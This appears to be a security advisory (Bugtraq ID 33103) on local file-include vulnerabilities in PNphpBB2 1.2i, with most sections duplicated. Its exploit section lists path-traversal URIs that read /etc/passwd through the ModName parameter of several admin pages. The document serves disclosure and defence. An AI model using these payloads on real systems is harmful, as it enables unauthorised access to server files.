PNphpBB2 'ModName' Parameter Local File Include Vulnerabilities
BID:33103
Info
PNphpBB2 'ModName' Parameter Local File Include Vulnerabilities
| Bugtraq ID: | 33103 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 04 2009 12:00AM |
| Updated: | Jan 05 2009 09:32PM |
| Credit: | StAkeR |
| Vulnerable: |
PNphpBB PNphpBB2 1.2.0 i |
| Not Vulnerable: | |
Discussion
PNphpBB2 'ModName' Parameter Local File Include Vulnerabilities
PNphpBB2 is prone to multiple local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
An attacker can exploit these issues to execute arbitrary local scripts and retrieve potentially sensitive information.
These issues affect PNphpBB2 1.2i and prior versions.
PNphpBB2 is prone to multiple local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
An attacker can exploit these issues to execute arbitrary local scripts and retrieve potentially sensitive information.
These issues affect PNphpBB2 1.2i and prior versions.
Exploit / POC
PNphpBB2 'ModName' Parameter Local File Include Vulnerabilities
An attacker can exploit these issues with a browser.
The following example URIs are available:
http://www.example.com/admin/admin_words.php?ModName=../../../../../etc/passwd
http://www.example.com/admin/admin_groups_reapir.php?ModName=../../../../../etc/passwd
http://www.example.com/admin/admin_smilies.php?ModName=../../../../../etc/passwd
http://www.example.com/admin/admin_ranks.php?ModName=../../../../../etc/passwd
http://www.example.com/admin/admin_styles.php?ModName=../../../../../etc/passwd
http://www.example.com/admin/admin_users.php?ModName=../../../../../etc/passwd
An attacker can exploit these issues with a browser.
The following example URIs are available:
http://www.example.com/admin/admin_words.php?ModName=../../../../../etc/passwd
http://www.example.com/admin/admin_groups_reapir.php?ModName=../../../../../etc/passwd
http://www.example.com/admin/admin_smilies.php?ModName=../../../../../etc/passwd
http://www.example.com/admin/admin_ranks.php?ModName=../../../../../etc/passwd
http://www.example.com/admin/admin_styles.php?ModName=../../../../../etc/passwd
http://www.example.com/admin/admin_users.php?ModName=../../../../../etc/passwd
Solution / Fix
PNphpBB2 'ModName' Parameter Local File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].